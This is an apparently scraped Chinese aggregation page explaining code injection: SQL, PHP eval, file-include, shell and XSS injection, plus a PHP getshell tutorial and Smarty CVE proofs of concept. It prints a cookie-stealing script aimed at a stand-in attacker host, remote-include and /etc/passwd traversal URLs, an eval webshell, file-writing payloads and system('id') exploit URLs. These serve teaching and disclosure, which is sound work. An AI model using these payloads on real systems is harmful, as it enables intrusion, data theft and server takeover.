精华内容
下载资源
问答
  • 代码注入漏洞

    2019-10-06 12:30:03
    代码注入 维基百科,自由的百科全书 跳到导航跳到搜索 代码注入(Code injection)是一种肇因于处理非法数据的计算机臭虫应用。代码注入可被攻击者用来导入代码到某特定的计算机程序,以改变程序的运行...

    代码注入

    维基百科,自由的百科全书
     
     
    跳到导航跳到搜索

    代码注入Code injection)是一种肇因于处理非法数据的计算机臭虫应用。代码注入可被攻击者用来导入代码到某特定的计算机程序,以改变程序的运行进程或目的。代码注入攻击的结果可以是灾难性的。例如说:代码注入可作为许多计算机蠕虫繁殖的温床。

    概说及例子[编辑]

    举例说,有一间公司的网页服务器上有一个签名簿的代码,用来让用户发表简短的口信,例如:

     Nice site!
    

    不过,这个代码原来有漏洞。一个意图入侵者得悉这间公司采用了有问题的代码,于是试图透过留下一条附带有代码的口信,例如:

     Nice Site,  I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document.cookie</script>
    

    如果另一个用户查看了该页,被注入的代码即运行。该代码可让攻击者扮装成另一个用户。然而这个相同的软件臭虫可被用户意外的触发,亦即造成该网站暴露 HTML 代码。

     That post was awesome, :>) 
    

    在这个案例里表情符号可造成 HTML 代码不对称,因为不对称的HTML标签被注入到代码里。

    大部分这类的问题与哪些可能输入数据,或者特殊数据效果的错误假设相关。一些软件开发员可能犯下危险假设的经典示例如下:

    • 假设某程序接口使用的元字符永远不会在输入中出现;例如假设英文半角标点符号如引号或者半括弧永不出现。
    • 假设只有阿拉伯数字字符会当成输入键入。
    • 假设输入永远不会超过固定字段大小。
    • 假设阿拉伯数字只会相等或少于上限。
    • 假设阿拉伯数字只会相等或大于下限。
    • 假设客户端原本伺服端提供的默认值 (例如窗体的隐藏字段或者cookie) 无法于客户端被用户修改。这种假设忽略了众所皆知的攻击如cookie下毒:在此cookie值被恶意用户强制设置。
    • 假设从输入端获取指针或者数组索引不会出问题。
    • 假设输入端永远不会提供关于它自己或者其他相关值的虚假信息,例如文件大小[1]

    代码注入的用途[编辑]

    蓄意的用途[编辑]

    恶意使用[编辑]

    代码注入的使用一般被视为心怀恶意的举动,而它确实常常如此。透过代码注入技术在或者破解系统上,以获取信息、提权、或者非法访问某系统是相当流行的。

    恶意用途的代码注入可包括:

    • 透过SQL注入(见下文)随意修改数据库中的值。影响所及可从某网站外观损毁,到对敏感数据严重的破坏。
    • 当用户拜访恶意网站时,透过网页浏览器或其插件的漏洞安全隐患,进行代码注入,以便安装流氓软件到用户机器上。
    • 透过PHP或者ASP注入安装流氓软件或者运行恶意代码于服务端。
    • 于UNIX系统利用Shell注入安全隐患对setuid root二进制数据作修改,达成提权root使用权限的目的。
    • 于视窗系统利用Shell注入安全隐患对系统服务做手脚,达成提权本地端系统使用权限的目的。
    • 从网页浏览器利用HTML/脚本注入(跨网站脚本)进行连线窃取 / cookies窃取进而冒充他人,获取他人个人敏感数据。

    善意使用[编辑]

    某些人可能会出于善意而使用代码注入。例如,透过代码注入以改变或者调试某程序或者系统的行为可以"摆弄"系统以某种方式表现其行为而不怀任何恶意。打比方说:

    • 代码注入可以添入某原本搜索结果页面设计上没有的字段,方便用户。
    • 透过对原本设计默认函数没有曝光的字段赋值,代码注入可提供一个全新的方式来过滤、排序、或者归类数据。

    这些人诉诸此种替代手段大致是下面几种原因之一:

    • 对软件中希望改进函数进行润饰的其他方法证明不可能,或者
    • 其他对软件修改的方式代价过高,或者
    • 其他对软件修改的方式过度艰苦。

    一般开发社群对以此为目的的代码注入不表欢迎。他们称这种行为为三脚猫、半调子、或者骇 / 黑程序。(kludge or hack)

    某些开发者允许或者甚至表扬代码注入的使用来“加强”他们的软件;通常是因为该方案提供了较不昂贵的方式来实现新的或者特殊化的功能。不幸的是,其副作用与无法列管的蕴含式可能相当危险。

    一般来说,即使相当善意的代码注入使用都不被建议使用。

    非蓄意的用途[编辑]

    某些用户可能会不经意的进行代码注入,因为他们对程序提供的输入,没列在当初开发系统者的考虑中。例如:

    • 用户可能视某个包含表示字符或者字符字符串为合法输入,而不知该字符被开发者所保留而有特殊意义 (像 "张三 & 李四" 里的 "&" 字符,或者英文约翰的 M&M 巧克力: "John's M&M's"里头的单引号)。
    • 用户可能会提交格式错乱的文件做为输入。这种行为对单一程序没什么问题,但可能对整个接收系统是灾难。

    避免代码注入[编辑]

    要避免代码注入的种种问题,得充分发挥输入输出处理保全,例如:

    • 输入确认。
    • 更换危险字符。例如在PHP透过addslashes()函数保护SQL注入。
    • 输入编码。
    • 输出编码。
    • 采用其他没有饱受代码注入漏洞困扰的编程实现,例如“参数化SQL查询” ("parameterized SQL queries" 又名 "prepared statements" 亦有时称 "bind variables") 。

    代码注入示例[编辑]

    SQL注入[编辑]

    SQL注入是种乘SQL语法之利,注入可读取或者修改数据库、或者扭曲原始查询意义的命令。

    以一个网页有两个字段让用户输入用户名与密码为例,在该网页幕后工作的代码会产生SQL查询以检查密码是否与用户名称密码列表相符:

    SELECT UserList.Username
    FROM UserList
    WHERE UserList.Username = 'Username'
    AND UserList.Password = 'Password'
    

    如果这查询有回应行数,便允许该访问。然而,如果恶意用户键入合法用户名,并且在密码栏注入某些合法代码 ("password' OR '1'='1"),查询结果便如下所示:

    SELECT UserList.Username
    FROM UserList
    WHERE UserList.Username = 'Username'
    AND UserList.Password = 'password' OR '1'='1'
    

    在上面示例里,"Password"被假定为空白或者某个无害的字符串。"'1'='1'"逻辑式将永远为真,并且找到多少行就回应多少行,因此访问就被允许了。

    该技术可被精练成允许运行多重陈述,甚或加载外部程序。

    PHP注入[编辑]

    "PHP注入"、"ASP注入"、以及其他类似技术术语是创造来泛指其他种种允许攻击者直接对服务器脚本引擎提供代码的代码注入攻击。在"PHP注入"实例里,伺服端脚本引擎是PHP

    实际上,PHP注入是“动态赋值安全隐患”、“包含文件注入”、或者类似代码注入的安全隐患。

    动态赋值安全隐患[编辑]

    mitre.org的史蒂芬克利斯第 (Steven M. Christey)提议以这个名字作为这类型的代码注入安全隐患。

    动态赋值安全隐患 - Eval注入[编辑]

    eval注入安全隐患发生在攻击者可控制所有或者部分作为“喂”给eval()函数调用的输入字符串。[2]

    $myvar = 'somevalue'; 
    $x = $_GET['arg']; 
    eval('$myvar = ' . $x . ';');
    

    "eval"的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果"arg"如果被设成"10; system('/bin/echo uh-oh')",后面的"system('/bin/echo uh-oh')"代码将被运行,这等同在服务器上运行开发者意料外的程序。在这示例里头是"/bin/echo"。

    动态赋值安全隐患 - 动态变量赋值[编辑]

    如在"Dynamic Evaluation Vulnerabilities in PHP applications"一文所定义的: PHP支持 "变量的变量",意指变量或者表达式可以对其他变量名赋值。这种特性可用来于程序运行时期动态改变哪个变量被访问或给值。这种特性是把双刃剑:强大、便利、同时也很危险。

    许多程序有下面类似代码:

    $safevar = "0"; 
    $param1 = ""; 
    $param2 = ""; 
    $param3 = ""; 
    # my own "register globals" for param[1,2,3] 
    foreach ($_GET as $key => $value) { 
      $$key = $value; 
    }
    

    如果攻击者在查询字符串中给定"safevar=bad",那$safevar将会被设为值 "bad"。

    动态赋值安全隐患 - 动态函数赋值[编辑]

    下面PHP示例将按照请求的方式运行函数。

    $myfunc = $_GET['myfunc']; 
    $myfunc();
    

    以及:

    $myfunc = $_GET['myfunc']; 
    ${"myfunc"}();
    

    包含文件注入[编辑]

    考虑下面的PHP程序(这里包含了个文件可因应需求改变):

    <?php
       $color = 'blue';
       if (__isset( $_GET['COLOR'] ) )
          $color = $_GET['COLOR'];
       require( $color . '.php' );
    ?>
    <form method="get">
       <select name="COLOR">
          <option value="red">red</option>
          <option value="blue">blue</option>
       </select>
       <input type="submit">
    </form>
    

    开发者认为这样大概可以保证只有 blue.php 和 red.php 可被加载。不过随着任何人可在COLOR轻易的注入随意值,造成以下文件注入的可能性:

    • /vulnerable.php?COLOR=http://evil/exploit? - 注入远程机器上有漏洞的文件。
    • /vulnerable.php?COLOR=C:\\ftp\\upload\\exploit - 从一个已经上传、叫做exploit.php文件运行其代码。
    • /vulnerable.php?COLOR=../../../../../../../../etc/passwd%00 - 让攻击者获取该UNIX系统目录检索下密码文件的内容。
    • /vulnerable.php?COLOR=C:\\notes.txt%00 - 一个使用元字符以解除.php扩展名限制,允许访问其他非 .php 结尾文件。 (PHP默认值"magic_quotes_gpc = On"可以终止这种攻击)

    Shell注入[编辑]

    Shell注入又称命令行界面注入,它命名源于Unix Shell,不过可套用到大部分允许软件程序化地运行命令行接口的系统上。常见的Shell注入资源有system()StartProcess()java.lang.Runtime.exec()System.Diagnostics.Process.Start()以及类似的应用程序接口。

    考虑下面的简短PHP程序。它运行一段叫做funnytext的外部程序,以置换用户提交的许多其他单字:

    <?php
    passthru ( " /home/user/phpguru/funnytext " 
               . $_GET['USER_INPUT'] );
    ?>

    该程序可以以多种方式被注入:

    • `命令` 将会运行 命令.
    • $(命令) 将会运行 命令.
    • ; 命令 将会运行 命令,并输出命令的结果。
    • | 命令 将会运行 命令,并输出命令的结果。
    • && 命令 将会运行 命令,并输出命令的结果。
    • || 命令 将会运行 命令,并输出命令的结果。
    • > /home/user/phpguru/.bashrc 将会改写文件 .bashrc.
    • < /home/user/phpguru/.bashrc 将会将文件 .bashrc 提交,当成是 funnytext 的输入。

    注:命令指的是命令行接口下可供输入运行的命令,例如视窗平台的 dir、UNIX 平台的 ls 等等。

    PHP提供escapeshellarg()escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 - 同样必须对输入确认 / 消毒。

    HTML注入/脚本注入 (跨网站脚本)[编辑]

    HTML注入/脚本注入是个炒得相当热的话题,一般专业术语为跨网站脚本(Cross-site scripting,通常简称为XSS)。XSS指的是一种依靠用户输入到网页脚本,或者某些像代码行被置于输出HTML,而没有检查HTML代码或脚本的注入漏洞。

    这种注入有两个基本型如下:

    主动式 (型 1)
    这种类型的XSS漏洞比较不危险,因为用户输入被置于动态产生的网页。服务端没有任何改变。
    被动式 (型 2)
    这种类型比较危险,因为输入是写在静态网页上,故威胁是持续性的。

    于IE7透过感染的动态链接库(DLL)实行HTML注入[编辑]

    根据英国技术网站The Register[3]文献指出,HTML注入亦可发生在用户本身被有问题的DLL感染过的系统身上。该文献引用罗杰汤森 (Roger Thompson) 的说法:受害者的浏览器,实际上,访问了PayPal或其他类似的网站,甚或某动态链接文件将它自己注入IE,并试着在交易进行中读取并修改HTML。该文献提及使用这种手段的钓鱼攻击顺利规避IE7与赛门铁克尝试侦测可疑网站的努力。

    ASP注入[编辑]

    "ASP注入"、"PHP注入"、以及其他类似技术术语是创造来泛指其他种种允许攻击者直接对服务器脚本引擎提供代码的代码注入攻击。在"ASP注入"实例里,伺服端脚本引擎是微软Active Server Pages,一种微软IIS的外加组件。

    在实际上与PHP相似,ASP注入也是“动态赋值安全隐患”、“包含文件注入”、或者类似代码注入的安全隐患。

    示例:

    <%
        If Not IsEmpty(Request( "username" ) ) Then
            Const ForReading = 1, ForWriting = 2, ForAppending = 8
            Dim fso, f
            Set fso = CreateObject("Scripting.FileSystemObject")
            Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
            f.Write Request("username") & vbCrLf
            f.close
            Set f = nothing
            Set fso = Nothing
            %>
             <h1>List of logged users:</h1>
             <pre>
            <%
             Server.Execute( "userlog.txt" )
            %>
             </pre>
            <%
        Else
            %>
             <form>
             <input name="username" /><input type="submit" name="submit" />
             </form>
            <%
        End If
    %>
    

    在这个示例中,用户可用命令而非用户名取代输入。

    参看[编辑]

    参考[编辑]

    1. 跳转^ 许多文件格式开始直接宣告该文件手头有多少数据,以及某些其他值。在不细心开发的软件中,了解在这宣告里的数据总合可导致缓存溢出 (例如,编程不严谨的网页浏览器)。这常常将代码注入弱点摊在阳光下。这是许多波及文件(特别是图形以及媒体文件)保全漏洞的背后的元凶。
    2. 跳转^ Insecure.orgDynamic Evaluation Vulnerabilities in PHP applications.
    3. 跳转^ Strange spoofing technique evades anti-phishing filters | The Register

    外部链结[编辑]

    知名的代码注入检测程序[编辑]

    转载于:https://www.cnblogs.com/iors/p/9776318.html

    展开全文
  • 命令执行/代码注入漏洞概述 命令执行/代码注入漏洞分类介绍 命令执行/代码注入漏洞挖掘方法 命令执行/代码注入漏洞攻击防御 总结;命令执行/代码注入漏洞概述;命令执行/代码注入漏洞概述;命令执行/代码注入漏洞分类...
  • 命令执行 / 代码注入漏洞分类介绍 代码本地文件包含示例 1 命令执行 / 代码注入漏洞分类介绍 命令或代码反序列化执行漏洞概述 ? 有些动态脚本语言如 php 支持 实例对象的序列化传输 然后服务端 将实例对象反序列化...
  • PHP 代码注入漏洞

    2020-12-15 11:17:40
    PHP 代码注入 属于代码注入漏洞中的一种。 原理及成因 PHP 代码执行(注入)是指(Web 方面)应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。代码执行(注入)类似于SQL注入漏洞,SQLi是将SQL语句注入到...

    PHP 代码注入

    PHP 代码注入 属于代码注入漏洞中的一种。

    原理及成因

    PHP 代码执行(注入)是指(Web 方面)应用程序过滤不严,用户可以通过请求将代码注入到应用中执行。代码执行(注入)类似于SQL注入漏洞,SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有一个web后门的存在。

    1. 程序中含有可以执行php 代码的函数或者语言结构
    2. 传入第一点中的参数,客户端可控,直接修改或者影响

    漏洞危害

    Web 应用如果存在代码执行漏洞是一件非常可怕的事情,就像一个人没有穿衣服,赤裸裸的暴露在光天化日之下。可以通过代码执行漏洞继承Web 用户权限,执行任意代码。如果具有服务器没有正确配置,Web 用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。

    PHP 中有很多函数和语句都会造成PHP代码执行漏洞。

    相关函数和语句

    eval()语言结构

    将传进来的字符串当作php代码执行,里面的参数必须加分号才能执行!
    例如:一句话木马

    <?php
    if(isset($_REQUEST['code'])){
    	eval($_REQUEST['code']);
    }
    ?>

    在这里插入图片描述
    在这里插入图片描述

    assert()函数

    将传进来的字符串当作php代码执行,可以不用加分号就能执行!

    <?php
    if(@isset($_REQUEST['code'])){
     @assert($_REQUEST['code']);
    }
    ?>

    在这里插入图片描述

    preg_replace()函数

    对字符串进行正则处理
    参数和返回值如下:
    mixed preg_replace(mixed $pattern,mixed $replacement,mixed $subject [,int limit = -1[,int &$count)1)

    原理:在subject中搜索匹配pattern正则表达式的部分用replacment来替换,当pattern参数存在/e 修饰符时,会将replacment的值当作php 代码执行。

    <?php
    if(isset($_GET['code'])) {
    $code=$_GET['code'];
    preg_replace( "/\[(.*)\]/e",'\\1',$code);
    // 匹配[]里面的内容,\\1代表正则第一次匹配的内容
    }
    ?>

    在这里插入图片描述

    call_user_func()函数

    call_user_func( )等函数都有调用其他函数的功能,其中的第一个参数作为要调用的函数名(回调函数),第二个参数为回调函数的参数,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。
    以call_user_func()为例子,该函数的第一个参数作为回调函数,后面的参数为回调函数的参数,测试代码如下:

    <?php
    if(isset($_GET['fun'])) {
     $fun=$_GET['fun'];//assert
     $para=$_GET['para'];//phpinfo();
     call_user_func($fun,$para);//eval(phpinfo();)
    }
    ?>

    在这里插入图片描述

    动态函数$a($b)

    由于PHP的特性原因,PHP的函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制有加大了难度。不少知名程序中也用到了动态函数的写法,这种写法跟使用call_user_func()的初衷一样,用来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。测试代码如下:

    <?php
    if(isset($_GET['a'])) {
     $a=$_GET['a'];
     $b=$_GET['b'];
     $a($b);
    }
    ?>

    在这里插入图片描述

    漏洞利用

    1. 直接获取shell
      一句话木马使用菜刀或者蚁剑连接即可。

    2. 获取当前文件的绝对路径
      __FILE__是PHP预定义常量,其含义当前文件的路径。提交代码?code=print(__FILE__);
      在这里插入图片描述

    3. 读文件
      我们可以利用file_get_contents()函数读取服务器任意文件,前提是知道目标文件路径具有读取权限。提交代码?code=var_dump(file_get_contents( 'c:\windows\system32\drivers\etc\hosts'));
      读取服务器hosts文件。
      在这里插入图片描述

    4. 写文件
      我们可以利用file_put_contents()函数,写入文件。前提是知道可写目录。
      提交代码?code=var_dump(file_put_contents($_POST[1],$_POST[2]));第一个参数是文件名,第二个参数是文件内容,此时需要借助于hackbar通过post 方式提交参数1=shell.php&2=<?php phpinfo()?>即可在当前目录下创建一个shell.php文件。
      在这里插入图片描述
      在这里插入图片描述

    防御方法

    1. 尽量不要使用eval等函数
    2. 如果使用的话一定要进行严格的过滤
    3. preg_replace放弃使用/e修饰符
    4. 禁用函数,修改配置文件php.ini里的 disable functions = 要禁用的函数
    展开全文
  • 主要介绍了如何防范PowerShell代码注入漏洞绕过受限语言模式的相关资料,需要的朋友可以参考下
  • 0x00漏洞概述CVEIDCVE-2021-26120时 间2021-02-26类 型代码注入等 级高危远程利用是影响范围PHP Smarty < 3.1.390x01漏洞详情Smarty...近日,PHP Smarty被披露存在2个PHP代码注入漏洞(CVE-2021-26120和CVE-2021-...

    0x00漏洞概述CVE  IDCVE-2021-26120时   间2021-02-26

    类   型代码注入等   级高危

    远程利用是影响范围PHP Smarty < 3.1.39

    0x01漏洞详情

    2_16143290152700002.png

    Smarty是通过PHP开发的模板引擎,它分开了PHP逻辑代码与外观(HTML页)以便于管理。

    近日,PHP Smarty被披露存在2个PHP代码注入漏洞(CVE-2021-26120和CVE-2021-26119),攻击者可以通过利用这些漏洞来注入任意代码。

    template_object沙箱逃逸PHP代码注入漏洞(CVE-2021-26119)

    在Smarty中,Smarty从$smarty.template_object变量访问实例,由于攻击者可以访问smarty或parent属性,从而可以访问Smarty实例。成功利用此漏洞的攻击者可以通过构造恶意数据,最终造成远程代码执行。

    POC代码如下(需两次运行,第一次写入缓存文件然后将其覆盖,第二次触发缓存并包含文件以执行远程代码。):

    http://localhost:8000/page.php?poc=string:{$s=$smarty.template_object->smarty}{$fp=$smarty.template_object->compiled->filepath}{Smarty_Internal_Runtime_WriteFile::writeFile($fp,"<?php +phpinfo();",$s)}

    2_1614327952339.png

    Smarty_Internal_Runtime_TplFunction沙箱逃逸PHP代码注入漏洞(CVE-2021-26120)

    由于Smarty在编译模板语法时,Smarty_Internal_Runtime_TplFunction类在定义时不能正确过滤name属性tplFunctions,攻击者可以通过注入Payload,最终远程执行代码。

    PoC代码如下:

    http://localhost:8000/page.php?poc=string:{function+name='rce(){};system("id");function+'}{/function}

    2_1614321598124.png

    0x02处置建议

    目前该漏洞已经修复,建议及时更新升级到3.1.39或更高版本。

    链接如下:

    https://github.com/smarty-php/smarty/blob/master/CHANGELOG.md

    0x03参考链接

    https://github.com/smarty-php/smarty/security/advisories/GHSA-w5hr-jm4j-9jvq

    https://github.com/smarty-php/smarty/security/advisories/GHSA-3rpf-5rqv-689q

    https://srcincite.io/blog/2021/02/18/smarty-template-engine-multiple-sandbox-escape-vulnerabilities.html

    0x04时间线

    2021-02-18  Steven Seeley披露漏洞

    2021-02-26  VSRC发布安全通告

    0x05附录

    CVSS评分标准官网:http://www.first.org/cvss/

    展开全文
  • 喜欢就关注我们吧!日前,一个被大量下载的 Node.js 组件被发现其含有一个高危的代码注入漏洞。该漏洞被追踪为 CVE-2021-21315,影响了「systeminformation」...

    喜欢就关注我们吧!

    日前,一个被大量下载的 Node.js 组件被发现其含有一个高危的代码注入漏洞。

    该漏洞被追踪为 CVE-2021-21315,影响了「systeminformation」npm 组件的安全性,该组件每周的下载量约为 80 万次,自诞生以来,至今已获得近 3400 万次下载。

    漏洞已被修复

    简单来说,「systeminformation」是一个轻量级的 Node.js 组件,开发者可以在项目中加入该组件,以检索与 CPU、硬件、电池、网络、服务和系统进程相关的系统信息。

    该组件的开发者表示:"虽然 Node.js 自带了一些基本的操作系统信息,但我一直想要获得更多信息。因此我就写了这个小型的组件。这个组件目前还在开发中。它可以作为一个后端/服务器端的组件来使用的,肯定不会在浏览器内工作"。

    然而,「systeminformation」中代码注入漏洞的存在意味着攻击者可以通过在组件使用的未初始化参数内小心翼翼地注入有效载荷来执行系统命令。

    下图所示的是「systeminformation」在 5.3.1 版本的修复,在调用进一步的命令之前,会对参数进行清理,以检查它们是否为字符串数据类型,并额外检查该参数在任何时候是否发生过原型污染。

    「systeminformation」的用户应升级到 5.3.1 及以上版本,以解决其应用程序中的 CVE-2021-21315 漏洞。

    变通方法同样可用

    对于那些项目灵活性不高、无法升级到修复版本的开发者,「systeminformation」项目的发布者在公告中也分享了一个可以采用的变通方法。

    安全公告中提到:“作为替代升级的一种变通方法,一定要检查或清理传递给 si.inetLatency()、si.inetChecksite()、si.services()、si.processLoad() 的服务参数。只允许字符串,拒绝任何数组。”

    这同样涉及清理参数中的任何违规字符,并正确验证它们是否属于字符串数据类型。

    展开全文
  • Discuz ML! V3.X存在代码注入漏洞,攻击者通过精心构建的请求报文可以直接执行恶意的PHP代码,进一步可获取整个网站的服务器权限。
  • //Code By Safefunction customError($errno, $errstr, $errfile, $errline){echo "Error number: [$errno],error on line $errline in $errfile";die();}set_error_handler("customError",E_ERROR);...
  • 印象库伦 今天近日,国家信息安全漏洞共享平台(CNVD)接收到阿里云计算有限公司(阿里云)报告的PHPCMS 2008代码注入漏洞(CNVD-C-2018-127157,对应CVE-2018-19127)。攻击者利用该漏洞,可在未授权的情况下实现对网站...
  • 代码注入漏洞以及修复方法

    万次阅读 2016-10-12 17:32:27
    PHP代码执行漏洞指应用程序本身过滤不严格,用户可以通过请求将代码注入到程序中执行,类似于SQL注入漏洞,可以把SQL语句通过网页注入到SQL服务执行,而PHP代码执行漏洞则是可以把代码注入应用到网站后端中,如果...
  • 日前,一个被大量下载的 Node.js 组件被发现其含有一个高危的代码注入漏洞 该漏洞被追踪为 CVE-2021-21315,影响了「systeminformation」npm 组件的安全性,该组件每周的下载量约为 80 万次,自诞生以来,至今已获得...
  • 0x00漏洞概述CVE IDCVE-2021-26120时 间2021-02-26类 型代码注入等 级高危远程利用是影响范围PHP Smarty < 3.1.390x01漏洞详情Smarty...近日,PHP Smarty被披露存在2个PHP代码注入漏洞(CVE-2021-26120和CVE-2021-...
  • 阿里云提示Discuz uc.key泄露导致代码注入漏洞uc.php的解决方法
  • 在通过PHP的函数引入文件时,由于传入 的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。 如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以...
  • 漏洞名称:Discuz uc.key泄露导致代码注入漏洞 漏洞描述:在Discuz中,uc_key是UC客户端与服务端通信的通信密钥,discuz中的/api/uc.php存在代码写入漏洞,导致黑客可写入恶意代码获取uckey,最终进入网站后台,...
  • 命令执行/代码注入漏洞挖掘方法 白盒审计工具Fortify SCA 命令执行/代码注入漏洞挖掘方法 白盒审计工具Seay Seay源代码审计系统,Seay源代码审计系统目前只支持PHP,功能包括(一直在更新): - 高精确度自动白盒审计 ...
  • MetInfo 3.0 PHP代码注入漏洞(getshell)

    千次阅读 2014-05-29 17:22:46
    MetInfo 3.0 PHP代码注入漏洞(getshell) 来源:本站转载 作者:佚名 时间:2010-11-07 TAG: 我要投稿 官网:http://www.metinfo.cn/ 关键字:"Powered by MetInfo 3.0 "  来源:...
  • 代码注入漏洞介绍和修复参考

    千次阅读 2016-06-16 19:15:11
    代码注入 Shell注入 我们先来看一段perl的代码: use CGI qw(:standard); $name = param('name'); $nslookup = "/path/to/nslookup"; print header; if (open($fh, "$nslookup $name|")) { while ()

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 5,317
精华内容 2,126
关键字:

代码注入漏洞